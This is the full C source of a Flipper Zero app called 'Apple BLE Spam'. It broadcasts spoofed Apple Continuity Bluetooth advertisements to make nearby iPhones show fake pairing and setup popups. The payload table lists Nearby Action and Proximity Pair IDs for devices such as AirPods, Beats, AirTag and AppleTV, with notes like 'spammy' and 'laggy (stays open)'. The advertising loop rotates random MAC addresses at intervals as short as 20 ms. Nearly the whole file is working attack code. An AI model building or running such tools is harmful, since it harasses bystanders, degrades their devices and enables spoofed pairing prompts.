| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551 |
- #include <gui/gui.h>
- #include <gui/elements.h>
- #include <furi_hal_bt.h>
- #include <furi_hal_random.h>
- #include "apple_ble_spam_icons.h"
- #include "lib/continuity/continuity.h"
- typedef struct {
- const char* title;
- const char* text;
- bool random;
- ContinuityMsg msg;
- } Payload;
- // Hacked together by @Willy-JL
- // Custom adv logic by @Willy-JL and @xMasterX
- // Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
- // Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
- // Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
- // Airtag ID from https://techryptic.github.io/2023/09/01/Annoying-Apple-Fans/
- static Payload payloads[] = {
- #if false
- {.title = "AirDrop",
- .text = "",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeAirDrop,
- .data = {.airdrop = {}},
- }},
- {.title = "Airplay Target",
- .text = "",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeAirplayTarget,
- .data = {.airplay_target = {}},
- }},
- {.title = "Handoff",
- .text = "",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeHandoff,
- .data = {.handoff = {}},
- }},
- {.title = "Tethering Source",
- .text = "",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeTetheringSource,
- .data = {.tethering_source = {}},
- }},
- #endif
- {.title = "Random Action",
- .text = "Spam shuffle Nearby Actions",
- .random = true,
- .msg =
- {
- .type = ContinuityTypeNearbyAction,
- .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
- }},
- {.title = "AppleTV AutoFill",
- .text = "Banner, unlocked, long range",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeNearbyAction,
- .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
- }},
- {.title = "AppleTV Connecting...",
- .text = "Modal, unlocked, long range",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeNearbyAction,
- .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
- }},
- {.title = "Join This AppleTV?",
- .text = "Modal, unlocked, spammy",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeNearbyAction,
- .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}},
- }},
- {.title = "AppleTV Audio Sync",
- .text = "Banner, locked, long range",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeNearbyAction,
- .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
- }},
- {.title = "AppleTV Color Balance",
- .text = "Banner, locked",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeNearbyAction,
- .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
- }},
- {.title = "Setup New iPhone",
- .text = "Modal, locked",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeNearbyAction,
- .data = {.nearby_action = {.flags = 0xC0, .type = 0x09}},
- }},
- {.title = "Setup New Random",
- .text = "Modal, locked, glitched",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeNearbyAction,
- .data = {.nearby_action = {.flags = 0x40, .type = 0x09}},
- }},
- {.title = "Transfer Phone Number",
- .text = "Modal, locked",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeNearbyAction,
- .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
- }},
- {.title = "HomePod Setup",
- .text = "Modal, unlocked",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeNearbyAction,
- .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
- }},
- {.title = "Random Pair",
- .text = "Spam shuffle Proximity Pairs",
- .random = true,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
- }},
- {.title = "AirPods Pro",
- .text = "Modal, spammy (auto close)",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
- }},
- {.title = "Beats Solo 3",
- .text = "Modal, spammy (stays open)",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
- }},
- {.title = "AirPods Max",
- .text = "Modal, laggy (stays open)",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
- }},
- {.title = "Beats Flex",
- .text = "Modal, laggy (stays open)",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
- }},
- {.title = "Airtag",
- .text = "Modal, unlocked",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
- }},
- {.title = "Hermes Airtag",
- .text = "",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
- }},
- {.title = "Setup New AppleTV",
- .text = "Modal, unlocked",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeNearbyAction,
- .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
- }},
- {.title = "Pair AppleTV",
- .text = "Modal, unlocked",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeNearbyAction,
- .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
- }},
- {.title = "HomeKit AppleTV Setup",
- .text = "Modal, unlocked",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeNearbyAction,
- .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
- }},
- {.title = "AppleID for AppleTV?",
- .text = "Modal, unlocked",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeNearbyAction,
- .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
- }},
- {.title = "AirPods",
- .text = "Modal, spammy (auto close)",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}},
- }},
- {.title = "AirPods 2nd Gen",
- .text = "Modal, spammy (auto close)",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}},
- }},
- {.title = "AirPods 3rd Gen",
- .text = "Modal, spammy (auto close)",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}},
- }},
- {.title = "AirPods Pro 2nd Gen",
- .text = "Modal, spammy (auto close)",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}},
- }},
- {.title = "Powerbeats 3",
- .text = "Modal, spammy (stays open)",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}},
- }},
- {.title = "Powerbeats Pro",
- .text = "Modal, spammy (auto close)",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}},
- }},
- {.title = "Beats Solo Pro",
- .text = "",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}},
- }},
- {.title = "Beats Studio Buds",
- .text = "Modal, spammy (auto close)",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}},
- }},
- {.title = "Beats X",
- .text = "Modal, spammy (stays open)",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}},
- }},
- {.title = "Beats Studio 3",
- .text = "Modal, spammy (stays open)",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}},
- }},
- {.title = "Beats Studio Pro",
- .text = "Modal, spammy (stays open)",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}},
- }},
- {.title = "Beats Fit Pro",
- .text = "Modal, spammy (auto close)",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}},
- }},
- {.title = "Beats Studio Buds+",
- .text = "Modal, spammy (auto close)",
- .random = false,
- .msg =
- {
- .type = ContinuityTypeProximityPair,
- .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
- }},
- };
- struct {
- uint8_t count;
- ContinuityData** datas;
- } randoms[ContinuityTypeCount] = {0};
- uint16_t delays[] = {
- 20,
- 50,
- 100,
- 150,
- 200,
- 300,
- 400,
- 500,
- 750,
- 1000,
- 1500,
- 2000,
- 2500,
- 3000,
- 4000,
- 5000,
- };
- typedef struct {
- bool resume;
- bool advertising;
- uint8_t delay;
- uint8_t size;
- uint8_t* packet;
- Payload* payload;
- FuriThread* thread;
- uint8_t mac[GAP_MAC_ADDR_SIZE];
- uint8_t index;
- } State;
- static int32_t adv_thread(void* ctx) {
- State* state = ctx;
- Payload* payload = state->payload;
- ContinuityMsg* msg = &payload->msg;
- ContinuityType type = msg->type;
- while(state->advertising) {
- if(payload->random) {
- uint8_t random_i = rand() % randoms[type].count;
- memcpy(&msg->data, randoms[type].datas[random_i], sizeof(msg->data));
- }
- continuity_generate_packet(msg, state->packet);
- furi_hal_bt_custom_adv_set(state->packet, state->size);
- furi_thread_flags_wait(true, FuriFlagWaitAny, delays[state->delay]);
- }
- return 0;
- }
- static void stop_adv(State* state) {
- state->advertising = false;
- furi_thread_flags_set(furi_thread_get_id(state->thread), true);
- furi_thread_join(state->thread);
- furi_hal_bt_custom_adv_stop();
- }
- static void start_adv(State* state) {
- state->advertising = true;
- furi_thread_start(state->thread);
- uint16_t delay = delays[state->delay];
- furi_hal_bt_custom_adv_start(delay, delay, 0x00, state->mac, 0x1F);
- }
- static void toggle_adv(State* state, Payload* payload) {
- if(state->advertising) {
- stop_adv(state);
- if(state->resume) furi_hal_bt_start_advertising();
- state->payload = NULL;
- free(state->packet);
- state->packet = NULL;
- state->size = 0;
- } else {
- state->size = continuity_get_packet_size(payload->msg.type);
- state->packet = malloc(state->size);
- state->payload = payload;
- furi_hal_random_fill_buf(state->mac, sizeof(state->mac));
- state->resume = furi_hal_bt_is_active();
- furi_hal_bt_stop_advertising();
- start_adv(state);
- }
- }
- static void draw_callback(Canvas* canvas, void* ctx) {
- State* state = ctx;
- const Payload* payload = &payloads[state->index];
- canvas_set_font(canvas, FontSecondary);
- canvas_draw_icon(canvas, 3, 4, &I_apple_10px);
- canvas_draw_str(canvas, 14, 12, "Apple BLE Spam");
- canvas_set_font(canvas, FontBatteryPercent);
- char delay[14];
- snprintf(delay, sizeof(delay), "%ims", delays[state->delay]);
- canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, delay);
- canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
- canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
- canvas_set_font(canvas, FontBatteryPercent);
- canvas_draw_str(canvas, 4, 21, continuity_get_type_name(payload->msg.type));
- canvas_set_font(canvas, FontPrimary);
- canvas_draw_str(canvas, 4, 32, payload->title);
- canvas_set_font(canvas, FontSecondary);
- canvas_draw_str(canvas, 4, 46, payload->text);
- if(state->index > 0) {
- elements_button_left(canvas, "Back");
- }
- if(state->index < COUNT_OF(payloads) - 1) {
- elements_button_right(canvas, "Next");
- }
- elements_button_center(canvas, state->advertising ? "Stop" : "Start");
- }
- static void input_callback(InputEvent* input, void* ctx) {
- FuriMessageQueue* input_queue = ctx;
- if(input->type == InputTypeShort || input->type == InputTypeLong ||
- input->type == InputTypeRepeat) {
- furi_message_queue_put(input_queue, input, 0);
- }
- }
- int32_t apple_ble_spam(void* p) {
- UNUSED(p);
- for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
- if(payloads[payload_i].random) continue;
- randoms[payloads[payload_i].msg.type].count++;
- }
- for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
- if(!randoms[type].count) continue;
- randoms[type].datas = malloc(sizeof(ContinuityData*) * randoms[type].count);
- uint8_t random_i = 0;
- for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
- if(payloads[payload_i].random) continue;
- if(payloads[payload_i].msg.type == type) {
- randoms[type].datas[random_i++] = &payloads[payload_i].msg.data;
- }
- }
- }
- State* state = malloc(sizeof(State));
- state->thread = furi_thread_alloc();
- furi_thread_set_callback(state->thread, adv_thread);
- furi_thread_set_context(state->thread, state);
- furi_thread_set_stack_size(state->thread, 2048);
- FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
- ViewPort* view_port = view_port_alloc();
- Gui* gui = furi_record_open(RECORD_GUI);
- view_port_input_callback_set(view_port, input_callback, input_queue);
- view_port_draw_callback_set(view_port, draw_callback, state);
- gui_add_view_port(gui, view_port, GuiLayerFullscreen);
- bool running = true;
- while(running) {
- InputEvent input;
- furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
- Payload* payload = &payloads[state->index];
- bool advertising = state->advertising;
- switch(input.key) {
- case InputKeyOk:
- toggle_adv(state, payload);
- break;
- case InputKeyUp:
- if(state->delay < COUNT_OF(delays) - 1) {
- if(advertising) stop_adv(state);
- state->delay++;
- if(advertising) start_adv(state);
- }
- break;
- case InputKeyDown:
- if(state->delay > 0) {
- if(advertising) stop_adv(state);
- state->delay--;
- if(advertising) start_adv(state);
- }
- break;
- case InputKeyLeft:
- if(state->index > 0) {
- if(advertising) toggle_adv(state, payload);
- state->index--;
- }
- break;
- case InputKeyRight:
- if(state->index < COUNT_OF(payloads) - 1) {
- if(advertising) toggle_adv(state, payload);
- state->index++;
- }
- break;
- case InputKeyBack:
- if(advertising) toggle_adv(state, payload);
- running = false;
- break;
- default:
- continue;
- }
- view_port_update(view_port);
- }
- gui_remove_view_port(gui, view_port);
- furi_record_close(RECORD_GUI);
- view_port_free(view_port);
- furi_message_queue_free(input_queue);
- furi_thread_free(state->thread);
- free(state);
- for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
- free(randoms[type].datas);
- }
- return 0;
- }
|